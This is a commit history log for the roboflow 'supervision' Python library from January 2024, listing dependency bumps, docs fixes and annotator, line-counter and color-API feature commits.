- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.14...v0.1.15)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-30 01:00:51 +00:00
Onuralp SEZER 9aaa18865b Merge pull request #810 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2024-01-30 00:15:55 +03:00
Kader Miyanyedi 9210ccf8b7 refactor(line_zone_annotator): use draw_text function in the annotate_count method and add center method to vector 2024-01-29 22:30:34 +03:00
pre-commit-ci[bot] 563a0299a8 chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/PyCQA/bandit: 1.7.6 → 1.7.7](https://github.com/PyCQA/bandit/compare/1.7.6...1.7.7)
2024-01-29 17:40:27 +00:00
Piotr Skalski 30db3c3f06 Merge pull request #806 from roboflow/multi-version-docs-prep
feat: ✨ mkdocs multi versioning package and old doc deployment CI disabled
2024-01-29 12:35:05 +01:00
Onuralp SEZER 5cc21bc768 feat: ✨ mkdocs multi versioning package and old doc deployment CI disabled
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-29 14:30:46 +03:00
Onuralp SEZER 9deea66679 Merge pull request #805 from roboflow/dependabot/pip/pytest-8.0.0
⬆️ bump pytest from 7.4.4 to 8.0.0
2024-01-29 11:31:45 +03:00
Onuralp SEZER cfc086f3ea Merge pull request #804 from roboflow/dependabot/pip/mkdocs-material-9.5.6
⬆️ bump mkdocs-material from 9.5.5 to 9.5.6
2024-01-29 11:31:22 +03:00
dependabot[bot] 28730308a5 ⬆️ bump pytest from 7.4.4 to 8.0.0
---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-29 01:22:57 +00:00
dependabot[bot] 89edbcf8ff ⬆️ bump mkdocs-material from 9.5.5 to 9.5.6
---
updated-dependencies:
- dependency-name: mkdocs-material
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-29 01:10:27 +00:00
Kader Miyanyedi 598e387f7c feat(line_zone_annotator): make display of int/out values optional 2024-01-28 23:54:37 +03:00
bright1205 2d494893fc Refactor class DetectionsManager to handle empty detections_all array 2024-01-28 16:29:11 +00:00
Piotr Skalski a44c76563e Merge pull request #798 from roboflow/fix/iterating-over-detections-in-detaset-loaders
fix looping over detections in dataset loaders
2024-01-28 09:46:09 +01:00
SkalskiP c41b68e9cb fix looping over detections in dataset loaders 2024-01-28 09:39:26 +01:00
Piotr Skalski 9b21231204 Merge pull request #797 from roboflow/fix/crop_image_docs
small `crop_image` documentation fix
2024-01-28 08:00:17 +01:00
SkalskiP 83fa7d0f2c small crop_image documentation fix 2024-01-28 07:56:41 +01:00
Piotr Skalski fff13d5ef2 Merge pull request #796 from roboflow/tracker-doc-fix
docs: 📝 missing import of numpy and correct variable name in tracker section
2024-01-28 07:54:13 +01:00
Onuralp SEZER 5347b78469 docs: 📝 missing import of numpy and correct variable name in tracker section
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-28 01:25:35 +03:00
Piotr Skalski 3024ddca83 Merge pull request #776 from roboflow/main
Merge pull request #764 from roboflow/develop
2024-01-25 10:35:54 +01:00
Piotr Skalski 53f4cde18d Merge pull request #764 from roboflow/develop
`supervision-0.18.0` release
2024-01-25 10:33:16 +01:00
Piotr Skalski 181724e2d3 Merge pull request #775 from roboflow/feature/supervision-0-18-0-changelog
`supervision-0.18.0` change log update
2024-01-25 10:31:17 +01:00
pre-commit-ci[bot] 205b2d200a fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-25 09:29:43 +00:00
SkalskiP 3dcb330822 - version bump from 0.18.0rc4 to 0.18.0
- `supervision-0.18.0` release changelog update
- minot docs changes
2024-01-25 10:27:22 +01:00
SkalskiP 6fa4f25250 bump version from 0.18.0rc3 to 0.18.0rc4 2024-01-24 18:10:56 +01:00
Piotr Skalski 35d5738622 Merge pull request #770 from roboflow/yolov8-obb
feat: ✨ yolov8-obb support and OrientedBoxAnnotator added for obb
2024-01-24 17:50:41 +01:00
pre-commit-ci[bot] 9d56d8a9fe fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-24 16:47:55 +00:00
SkalskiP c7d7e8b71e Merge remote-tracking branch 'origin/yolov8-obb' into yolov8-obb
# Conflicts:
#	docs/annotators.md
2024-01-24 17:47:41 +01:00
SkalskiP 6565fae1c2 final docs updates 2024-01-24 17:47:11 +01:00
Onuralp SEZER a5bef3b15e docs: 📝 >>>/... removed from obb docs and code example
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 19:31:46 +03:00
SkalskiP 164b9bedce Merge branch 'develop' into yolov8-obb 2024-01-24 16:49:00 +01:00
Piotr Skalski aabe60be6a Merge pull request #774 from roboflow/docs-emojis-fix
fix(docs): 🐞 emoji extension added for show emojis properly
2024-01-24 16:42:19 +01:00
Piotr Skalski 533a8a1aa3 Merge pull request #773 from roboflow/readme-example-docs
docs: 📝 readme >>>/... removed
2024-01-24 16:33:43 +01:00
Onuralp SEZER c7790fdf56 fix(docs): 🐞 emoji extension added for show emojis properly
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 17:53:56 +03:00
Onuralp SEZER dd53cd06b9 docs: 📝 readme >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 17:43:10 +03:00
Onuralp SEZER 24593b64d5 Removed '>>>' and '...' from docs - Merge PR #761 from RaghavvGupta/improved-code-usability
Removed '>>>' and '...' from examples and docs and improved some indentation.
2024-01-24 17:21:00 +03:00
Piotr Skalski 80b7eecfaf Merge pull request #696 from roboflow/prediction-smoothing
Add Prediction Smoothing
2024-01-24 15:13:13 +01:00
SkalskiP 6b063736d9 Merge remote-tracking branch 'origin/prediction-smoothing' into prediction-smoothing 2024-01-24 15:11:50 +01:00
SkalskiP 7b0d5e729e ready for merge 2024-01-24 15:09:47 +01:00
pre-commit-ci[bot] 7916d6a6a4 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-24 14:07:46 +00:00
SkalskiP 79560945f5 ready for merge 2024-01-24 15:07:32 +01:00
Onuralp SEZER d4e0d8d46d docs: 📝 supervision/annotators/core.py PercentageBarAnnotator >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 15:41:18 +03:00
Onuralp SEZER 5a89e2170f Merge remote-tracking branch 'mainland/develop' into improved-code-usability 2024-01-24 15:39:07 +03:00
Onuralp SEZER ab5a86596f docs: 📝 supervision downloader classfication draw geometry and utils >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 15:26:43 +03:00
Onuralp SEZER 12b42f80de docs: 📝 supervision/utils/notebook.py >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 15:17:49 +03:00
Onuralp SEZER 8a5cd1bc3e docs: 📝 supervision/utils/video.py >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 15:17:29 +03:00
Onuralp SEZER e29e960c5f docs: 📝 supervision/metrics/detection.py >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 15:14:18 +03:00
pre-commit-ci[bot] f6e5b6dc54 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-24 12:06:21 +00:00
SkalskiP e2751368d5 improvements 2024-01-24 13:06:07 +01:00
Onuralp SEZER 955a6d67fb docs: 📝 supervision/tracker/byte_tracker/core.py >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 13:13:56 +03:00
Onuralp SEZER 833edc95ad docs: 📝 supervision/detection/utils.py >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 13:10:48 +03:00
Onuralp SEZER 4df21ded6a docs: 📝 supervision/detection/annotate.py >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 13:03:34 +03:00
Onuralp SEZER f03be21a9f docs: 📝 supervision/dataset/core.py >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 13:01:55 +03:00
Onuralp SEZER 2d1aa3b996 docs: 📝 supervision/detection/tools/inference_slicer.py >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 12:52:34 +03:00
Onuralp SEZER 7af914bf56 docs: 📝 supervision/annotators/core.py docs/annotators.md >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 12:50:23 +03:00
Onuralp SEZER 8872151d0c docs: 📝 core/detection/core.py >>>/... removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 12:28:45 +03:00
raghav d961aa9eb4 docs: example image = ... reverted and added annotators.md 2024-01-24 12:05:57 +03:00
raghav 845c9cc2c2 docs: '>>>' and '...' are removed and indentation improvements 2024-01-24 12:05:48 +03:00
Piotr Skalski 4667e02d79 Merge pull request #772 from roboflow/mkdocs-matplotlib-updates
build(deps): 📦 mkdocs-material and matplotlib update for security
2024-01-24 09:07:43 +01:00
Onuralp SEZER 047672d458 build(deps): 📦 mkdocs-material and matplotlib update for security
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-24 10:51:41 +03:00
Piotr Skalski 2622144660 Merge pull request #771 from roboflow/removal-pillow-reqs
build(deps): 📦 package pillow removed
2024-01-23 20:15:31 +01:00
Onuralp SEZER fb0500c394 build(deps): 📦 package pillow removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-23 21:19:01 +03:00
Onuralp SEZER 10f3b73e79 docs: 📝 OrientedBox Annotator docs added
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-23 21:07:09 +03:00
Onuralp SEZER 564f979977 Merge branch 'develop' into yolov8-obb 2024-01-23 20:52:07 +03:00
Onuralp SEZER 64302f450c feat: ✨ yolov8-obb support and OrientedBoxAnnotator added for obb
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-23 20:18:47 +03:00
SkalskiP 239ea649c0 Merge remote-tracking branch 'origin/develop' into develop
# Conflicts:
#	supervision/annotators/core.py
2024-01-23 18:10:18 +01:00
James Gallagher 626636cfa7 update tracking logic 2024-01-23 17:10:02 +00:00
SkalskiP 6b14cc9572 bump version from 0.18.0rc2 to 0.18.0rc3 2024-01-23 18:09:24 +01:00
SkalskiP 294a476977 bump version from 0.18.0rc2 to 0.18.0rc3 2024-01-23 18:07:25 +01:00
Piotr Skalski 4fedb87f97 Merge pull request #769 from roboflow/feature/color_and_color_palette_updates
`feature/color_and_color_palette_updates`
2024-01-23 17:21:15 +01:00
pre-commit-ci[bot] a1b2297e9f fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-23 16:14:04 +00:00
SkalskiP c064c1fc98 final tests 2024-01-23 17:13:51 +01:00
pre-commit-ci[bot] 0f3359c15f fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-23 15:57:57 +00:00
SkalskiP a9987dbc83 test @classproperty decorator 2024-01-23 16:57:10 +01:00
SkalskiP b14a035ede final changes 2024-01-23 16:45:15 +01:00
SkalskiP 295e8b725b added from_matplotlib method 2024-01-23 16:34:22 +01:00
pre-commit-ci[bot] fa8a9cb5ac fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-23 15:25:02 +00:00
SkalskiP 66245dd0df added documentation and examples 2024-01-23 16:24:15 +01:00
SkalskiP 2d0a3f9d79 working on optimal syntax 2024-01-23 15:42:27 +01:00
pre-commit-ci[bot] 7b2c09c0ab fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-23 14:19:08 +00:00
SkalskiP d314bf0364 initial tests 2024-01-23 14:58:06 +01:00
James Gallagher 21791c8522 remove idle trackers 2024-01-23 13:38:15 +00:00
James Gallagher 24ca25ef94 fix formatting 2024-01-23 13:28:00 +00:00
James 09d771c139 Merge branch 'develop' into prediction-smoothing 2024-01-23 12:59:28 +00:00
James Gallagher 6efd51dfb1 respond to feedback 2024-01-23 12:57:36 +00:00
James Gallagher c299a929c5 respond to feedback 2024-01-23 12:57:31 +00:00
Onuralp SEZER f5f068bffd Merge pull request #720 from xaristeidou/develop
Add `sv.PercentageBarAnnotator()` for confidence level bar annotation in specified position
2024-01-23 14:39:33 +03:00
SkalskiP fc22a9ccd9 update visualization path 2024-01-23 12:32:18 +01:00
SkalskiP 45fe3c1c0f small bug fix 2024-01-23 12:13:08 +01:00
pre-commit-ci[bot] 027b60837a fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-23 10:56:11 +00:00
SkalskiP fa569cb235 ready for tests 2024-01-23 11:54:40 +01:00
Onuralp SEZER 2bc58e7938 feat(core.py): 🚀 Allow custom NumPy array for custom_values in PercentageBarAnnotator
fix(core.py): 🐞 Treat CENTER_OF_MASS the same as CENTER in PercentageBarAnnotator
refactor(core.py): Move border mapping logic to separate method in PercentageBarAnnotator

Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-23 04:34:59 +03:00
Onuralp SEZER 6f87069080 docs: 📝 PercentageBar Annotator image added into core.py
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-22 22:13:35 +03:00
Onuralp SEZER c0c541d121 docs: 📝 PercentageBar Annotator docs and usage added.
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-22 22:13:20 +03:00
pre-commit-ci[bot] 08173899a9 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-22 18:51:36 +00:00
Onuralp SEZER 6e9bfc9a05 chore: 🧹 folder attiributes ignored
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-22 21:51:03 +03:00
Onuralp SEZER 65eda0b80c build(docs): 👷 mkdocs-material with imaging dep added for development
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-22 21:46:38 +03:00
Christoforos Aristeidou 740076d961 pre-commit spacing 2024-01-22 21:42:22 +03:00
Christoforos Aristeidou f3cb8e9d27 reformed fill of confidence rectangle, changed border attributes 2024-01-22 21:42:22 +03:00
Christoforos Aristeidou 846b337155 changed if else statements to dictionary mapping 2024-01-22 21:42:21 +03:00
Christoforos Aristeidou ce19f917e9 changed border thickness percentage, extract confidence level 2024-01-22 21:42:21 +03:00
Christoforos Aristeidou c70ee87897 deleted unused coordinates and changed type of anchor coords 2024-01-22 21:42:21 +03:00
Christoforos Aristeidou 786942ba7e changed default value for height 2024-01-22 21:42:21 +03:00
Christoforos Aristeidou 5ed3430b16 corrected border color, added rectangle for percentage 2024-01-22 21:42:21 +03:00
Christoforos Aristeidou 39ef293926 added if else statements for different anchors 2024-01-22 21:42:21 +03:00
Christoforos Aristeidou a59d84549f added anchor xy coordinates 2024-01-22 21:42:20 +03:00
Christoforos Aristeidou f94c0a4930 arguments description update 2024-01-22 21:42:20 +03:00
Christoforos Aristeidou ae7360b5e0 added new attributes of class 2024-01-22 21:42:20 +03:00
Christoforos Aristeidou e809e424e6 added PercentageBarAnnotator() to __init__ of package 2024-01-22 21:42:20 +03:00
Christoforos Aristeidou b1dbeaf9c4 changed class name and description 2024-01-22 21:42:20 +03:00
Christoforos Aristeidou fbcc211079 added boundingboxannotator class to re-write class 2024-01-22 21:42:19 +03:00
Onuralp SEZER 6b7ccfccd9 Merge pull request #763 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2024-01-22 21:16:52 +03:00
Onuralp SEZER 5677b4b5e3 Merge pull request #762 from roboflow/dependabot/pip/ruff-0.1.14
⬆️ Bump ruff from 0.1.13 to 0.1.14
2024-01-22 21:16:37 +03:00
pre-commit-ci[bot] c323ecba8a chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/astral-sh/ruff-pre-commit: v0.1.13 → v0.1.14](https://github.com/astral-sh/ruff-pre-commit/compare/v0.1.13...v0.1.14)
2024-01-22 17:34:15 +00:00
dependabot[bot] 995f170e30 ⬆️ Bump ruff from 0.1.13 to 0.1.14
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.13 to 0.1.14.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.13...v0.1.14)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-22 00:57:36 +00:00
Onuralp SEZER decbbb62ad Merge pull request #759 from roboflow/dependabot/pip/jupyterlab-4.0.11
⬆️ Bump jupyterlab from 4.0.10 to 4.0.11
2024-01-20 22:36:01 +03:00
Onuralp SEZER 7d3c2114dd Merge pull request #760 from roboflow/dependabot/pip/notebook-7.0.7
⬆️ Bump notebook from 7.0.6 to 7.0.7
2024-01-20 22:35:45 +03:00
dependabot[bot] b008aadd41 ⬆️ Bump notebook from 7.0.6 to 7.0.7
Bumps [notebook](https://github.com/jupyter/notebook) from 7.0.6 to 7.0.7.
- [Release notes](https://github.com/jupyter/notebook/releases)
- [Changelog](https://github.com/jupyter/notebook/blob/@jupyter-notebook/tree@7.0.7/CHANGELOG.md)
- [Commits](https://github.com/jupyter/notebook/compare/@jupyter-notebook/tree@7.0.6...@jupyter-notebook/tree@7.0.7)

---
updated-dependencies:
- dependency-name: notebook
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-19 20:45:54 +00:00
dependabot[bot] cca120915e ⬆️ Bump jupyterlab from 4.0.10 to 4.0.11
Bumps [jupyterlab](https://github.com/jupyterlab/jupyterlab) from 4.0.10 to 4.0.11.
- [Release notes](https://github.com/jupyterlab/jupyterlab/releases)
- [Changelog](https://github.com/jupyterlab/jupyterlab/blob/@jupyterlab/lsp@4.0.11/CHANGELOG.md)
- [Commits](https://github.com/jupyterlab/jupyterlab/compare/@jupyterlab/lsp@4.0.10...@jupyterlab/lsp@4.0.11)

---
updated-dependencies:
- dependency-name: jupyterlab
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-19 20:39:08 +00:00
Piotr Skalski 4e4fad9d04 Merge pull request #756 from roboflow/q1-2024/color-properties
feat(color.py): ✨ add color constants/properties
2024-01-19 09:04:50 +01:00
pre-commit-ci[bot] 38bdeff171 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-18 22:43:26 +00:00
Onuralp SEZER 6fee626828 refactor(Color): 🎨 Deprecate color methods in favor of color properties
Deprecated the `white`, `black`, `red`, `green`, and `blue` methods in
the `Color` class.
Users should now use the `WHITE`, `BLACK`, `RED`, `GREEN`, and `BLUE`
properties instead. This change improves the API and makes it more consistent.

Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-19 01:41:31 +03:00
Onuralp SEZER bb4d741aff feat(color.py): ✨ add color constants
This commit adds the WHITE, BLACK, RED, GREEN, and BLUE color constants
to the Color class in color.py. These constants represent
the corresponding colors in the RGB color space.

Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-19 00:42:59 +03:00
Piotr Skalski d503e3aa50 Merge pull request #750 from roboflow/opencv-version
fix: ✨ bump opencv version and remove upper limit
2024-01-18 21:42:04 +01:00
Onuralp SEZER 3b13fc41a7 fix: ✨ bump opencv version and remove upper limit
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-18 23:38:06 +03:00
Piotr Skalski 9e6abc0fff Merge pull request #747 from roboflow/scipy-security
fix(security): 🔐 bump scipy version for memory leak vulnerability
2024-01-18 21:26:21 +01:00
Onuralp SEZER 3e48708910 fix(security): 🔐 bump scipy version for memory leak vulnerability
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-18 22:56:59 +03:00
Onuralp SEZER 215741fd83 Merge pull request #742 from roboflow/dependabot/pip/tox-4.12.1
⬆️ Bump tox from 4.12.0 to 4.12.1
2024-01-18 22:34:41 +03:00
Onuralp SEZER c2a5583aa2 Merge pull request #745 from roboflow/dependabot/pip/jupyter-lsp-2.2.2
⬆️ Bump jupyter-lsp from 2.2.1 to 2.2.2
2024-01-18 22:31:46 +03:00
Piotr Skalski c04edbcf85 Merge pull request #735 from revtheundead/add-center-point-crossed-condition-to-line-counter
Added an option to count detection upon the center point of the bounding box crossing the line counter
2024-01-18 17:52:13 +01:00
pre-commit-ci[bot] f768347d26 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-18 16:36:22 +00:00
dependabot[bot] ffc8c16993 ⬆️ Bump jupyter-lsp from 2.2.1 to 2.2.2
Bumps [jupyter-lsp](https://github.com/jupyter-lsp/jupyterlab-lsp) from 2.2.1 to 2.2.2.
- [Release notes](https://github.com/jupyter-lsp/jupyterlab-lsp/releases)
- [Changelog](https://github.com/jupyter-lsp/jupyterlab-lsp/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jupyter-lsp/jupyterlab-lsp/commits)

---
updated-dependencies:
- dependency-name: jupyter-lsp
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-18 16:36:12 +00:00
pre-commit-ci[bot] 6128576ea1 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-18 16:06:10 +00:00
Piotr Skalski cda5016a5a Merge branch 'develop' into add-center-point-crossed-condition-to-line-counter 2024-01-18 17:06:01 +01:00
SkalskiP f8ee3a4290 ready for end-to-end tests. 2024-01-18 16:43:17 +01:00
SkalskiP 5f04836917 calculate_region_of_interest_limits and is_point_in_limits methods added. 2024-01-18 13:36:47 +01:00
SkalskiP 616fc96ca8 Adding ability to calculate vector magnitude. 2024-01-18 12:46:09 +01:00
rev dca7fb43e5 Revert "Fixed cross_product() funtion test"
This reverts commit 353865e017.
2024-01-18 13:50:03 +03:00
rev ec7baf3360 Revert "Implemented cross_product() with numpy"
This reverts commit 9fb97e3c79.
2024-01-18 13:49:54 +03:00
rev 9fb97e3c79 Implemented cross_product() with numpy 2024-01-18 13:45:30 +03:00
Piotr Skalski 536e0d86a8 Merge pull request #733 from roboflow/fix/speed-estimation-issue-when-detections-empty
`fix/speed-estimation-issue-when-detections-empty`
2024-01-18 11:30:04 +01:00
SkalskiP 3a608eeb93 Merge remote-tracking branch 'origin/add-center-point-crossed-condition-to-line-counter' into add-center-point-crossed-condition-to-line-counter 2024-01-18 11:29:18 +01:00
SkalskiP 008b0bd984 Formatting updates. 2024-01-18 11:29:01 +01:00
rev 353865e017 Fixed cross_product() funtion test 2024-01-18 13:26:01 +03:00
SkalskiP da4ee62298 Fixing cross_product tests. 2024-01-18 11:18:18 +01:00
rev ae758a655d Fixed the is_in_line_range() function logic and fixed a minor bug with finding anchors 2024-01-18 12:35:00 +03:00
pre-commit-ci[bot] e38256f316 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-18 00:46:10 +00:00
dependabot[bot] 713bacae08 ⬆️ Bump tox from 4.12.0 to 4.12.1
Bumps [tox](https://github.com/tox-dev/tox) from 4.12.0 to 4.12.1.
- [Release notes](https://github.com/tox-dev/tox/releases)
- [Changelog](https://github.com/tox-dev/tox/blob/main/docs/changelog.rst)
- [Commits](https://github.com/tox-dev/tox/compare/4.12.0...4.12.1)

---
updated-dependencies:
- dependency-name: tox
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-18 00:46:02 +00:00
rev 2367fcac82 Resolved merge conflict 2024-01-18 01:41:25 +03:00
rev 1f640980ad Increased line counter flexibility and replaced vector cross product function 2024-01-18 01:21:45 +03:00
Piotr Skalski 64661a3e4a Update built with supervision section in README.md 2024-01-17 15:54:12 +01:00
Piotr Skalski 1c414bd70f Update speed estimation example tutorial README.md 2024-01-17 15:52:41 +01:00
Piotr Skalski e32b05a636 Update speed estimation example tutorial README.md 2024-01-17 15:38:19 +01:00
Piotr Skalski 688cf14f2a Merge pull request #739 from roboflow/feature/add-comments-system-powered-by-github-discussions
`feature/add-comments-system-powered-by-github-discussions`
2024-01-17 12:16:21 +01:00
pre-commit-ci[bot] e3529436e1 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-17 11:14:03 +00:00
SkalskiP 99d1b6d130 ready for review 2024-01-17 12:11:31 +01:00
SkalskiP 2ba6a22d69 bump version from 0.18.0rc1 to 0.18.0rc2 2024-01-17 09:12:53 +01:00
Piotr Skalski 3de2efea12 Merge pull request #737 from roboflow/fix/line-zone-trigger-returns-value-error
`fix/line-zone-trigger-returns-value-error`
2024-01-17 09:12:10 +01:00
pre-commit-ci[bot] f7145aa6aa fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-17 08:06:37 +00:00
SkalskiP b12d73a883 ready for review 2024-01-17 09:01:17 +01:00
pre-commit-ci[bot] 47eed7257c fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-16 23:09:46 +00:00
rev 602676bd9c Change cross_product() return type from int to float 2024-01-17 02:06:36 +03:00
rev 0e1f422a75 Added an option to count detection upon the center point of the bounding box crossing the line counter.
Added an option to LineCounter class specifying the condition which determines whether a detection has crossed the line counter or not.

Additionally made it so that the line counters check whether if the corners (or optionally the center point) of a detection's bounding box are in the line counter's coordinate ranges. This way, line counters count only the detections that have precisely crossed the bounds that are drawn without failing and counting targets that have crossed invisible extensions of the lines.
2024-01-17 01:24:49 +03:00
Onuralp SEZER 3b531249bc Merge pull request #731 from roboflow/dependabot/pip/mkdocs-material-9.5.4
⬆️ Bump mkdocs-material from 9.5.3 to 9.5.4
2024-01-16 20:01:05 +03:00
pre-commit-ci[bot] 4d8f15f295 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-16 16:55:57 +00:00
SkalskiP c78354203d ready for review 2024-01-16 17:51:56 +01:00
Piotr Skalski 624a2e4c10 Update tutorials section in README.md 2024-01-16 14:59:40 +01:00
dependabot[bot] 4c063acd2b ⬆️ Bump mkdocs-material from 9.5.3 to 9.5.4
Bumps [mkdocs-material](https://github.com/squidfunk/mkdocs-material) from 9.5.3 to 9.5.4.
- [Release notes](https://github.com/squidfunk/mkdocs-material/releases)
- [Changelog](https://github.com/squidfunk/mkdocs-material/blob/master/CHANGELOG)
- [Commits](https://github.com/squidfunk/mkdocs-material/compare/9.5.3...9.5.4)

---
updated-dependencies:
- dependency-name: mkdocs-material
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-16 00:36:23 +00:00
Onuralp SEZER 0b805b7a04 Merge pull request #730 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2024-01-15 23:23:42 +03:00
pre-commit-ci[bot] a8081bec05 chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/astral-sh/ruff-pre-commit: v0.1.11 → v0.1.13](https://github.com/astral-sh/ruff-pre-commit/compare/v0.1.11...v0.1.13)
2024-01-15 17:30:17 +00:00
Onuralp SEZER 68df3604ea Merge pull request #727 from roboflow/dependabot/pip/tox-4.12.0
⬆️ Bump tox from 4.11.4 to 4.12.0
2024-01-15 04:23:11 +03:00
Onuralp SEZER 3224032542 Merge pull request #726 from roboflow/dependabot/pip/ruff-0.1.13
⬆️ Bump ruff from 0.1.12 to 0.1.13
2024-01-15 04:22:58 +03:00
dependabot[bot] 1005de429c ⬆️ Bump tox from 4.11.4 to 4.12.0
Bumps [tox](https://github.com/tox-dev/tox) from 4.11.4 to 4.12.0.
- [Release notes](https://github.com/tox-dev/tox/releases)
- [Changelog](https://github.com/tox-dev/tox/blob/main/docs/changelog.rst)
- [Commits](https://github.com/tox-dev/tox/compare/4.11.4...4.12.0)

---
updated-dependencies:
- dependency-name: tox
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-15 00:48:05 +00:00
dependabot[bot] 1f1edfc8f8 ⬆️ Bump ruff from 0.1.12 to 0.1.13
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.12 to 0.1.13.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.12...v0.1.13)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-15 00:41:57 +00:00
Onuralp SEZER 338d62b2cb Merge pull request #721 from roboflow/dependabot/pip/ruff-0.1.12
⬆️ Bump ruff from 0.1.11 to 0.1.12
2024-01-13 03:14:32 +03:00
dependabot[bot] 17f7949b96 ⬆️ Bump ruff from 0.1.11 to 0.1.12
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.11 to 0.1.12.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.11...v0.1.12)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-12 00:42:35 +00:00
Onuralp SEZER 5ceb61a185 Merge pull request #719 from roboflow/dependabot/pip/jinja2-3.1.3
⬆️ Bump jinja2 from 3.1.2 to 3.1.3
